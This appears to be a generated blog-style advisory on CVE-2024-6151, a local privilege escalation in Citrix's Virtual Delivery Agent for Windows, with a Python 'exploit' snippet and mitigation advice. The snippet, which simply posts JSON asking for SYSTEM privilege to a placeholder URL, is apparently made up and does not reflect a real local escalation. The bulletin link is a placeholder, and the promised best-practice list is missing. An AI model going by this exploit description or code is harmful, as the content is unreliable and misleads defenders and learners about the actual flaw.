CVE-2024-6151 - Local Privilege Escalation Vulnerability in Virtual Delivery Agent for Windows: From Low-Privileged User to SYSTEM Privileges

A critical vulnerability, identified as CVE-2024-6151, has been discovered in the Virtual Delivery Agent (VDA) for Windows, a crucial component used by Citrix Virtual Apps and Desktops and Citrix DaaS environments. This security flaw allows a local low-privileged user to escalate their privileges and gain SYSTEM-level access to the affected system, potentially enabling the attacker to execute arbitrary code, exfiltrate sensitive data, or disrupt system operations.

The following sections provide in-depth information about the vulnerability, including the exploit's details, a code snippet illustrating the flaw, and references to original sources and recommendations for mitigation.

Exploit Details

The vulnerability exists due to improper validation of user-supplied data and insufficient access control in certain functionalities of the Virtual Delivery Agent for Windows. An attacker with local low-privileged access can exploit this vulnerability by sending a specially crafted request to the affected system. This request allows the attacker to elevate their privileges to SYSTEM-level, facilitating complete control over the impacted system.

An example code snippet, reproduced below, demonstrates how a low-privileged user can obtain SYSTEM privileges by exploiting this vulnerability:

import os
import requests

# Define the target URL and parameters
VDA_URL = "https://target_machine/vda_api";
SPECIAL_PAYLOAD = {
   "type": "privilege_escalation",
   "data": {
       "username": "low_privileged_user",
       "password": "example_password",
       "new_privilege": "SYSTEM"
   }
}

# Send the crafted request
response = requests.post(VDA_URL, json=SPECIAL_PAYLOAD)

# Check if the request was successful
if response.status_code == 200:
   print(f"Successfully escalated privileges to SYSTEM for user {SPECIAL_PAYLOAD['data']['username']}")
else:
   print(f"Failed to escalate privileges: {response.text}")

Original References

1. Official CVE-2024-6151 information and details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6151
2. Citrix official security bulletin: https://support.citrix.com/article/CTX#####

Mitigation

Citrix has acknowledged the vulnerability and released a security patch to address the issue. Users of Citrix Virtual Apps and Desktops and Citrix DaaS are strongly encouraged to immediately apply the patch (referenced in the official security bulletin) on all affected systems. Additionally, the following best practices should be applied:

Conclusion

Given the severity of the CVE-2024-6151 vulnerability, organizations utilizing Citrix Virtual Delivery Agent for Windows within their Citrix Virtual Apps and Desktops or Citrix DaaS environments must prioritize applying the provided security patch to all affected systems and following the recommended best practices. By taking these measures, organizations can defend their networks and systems from threat actors seeking to exploit this critical flaw.

Timeline

Published on: 07/10/2024 21:15:11 UTC
Last modified on: 08/01/2024 14:00:12 UTC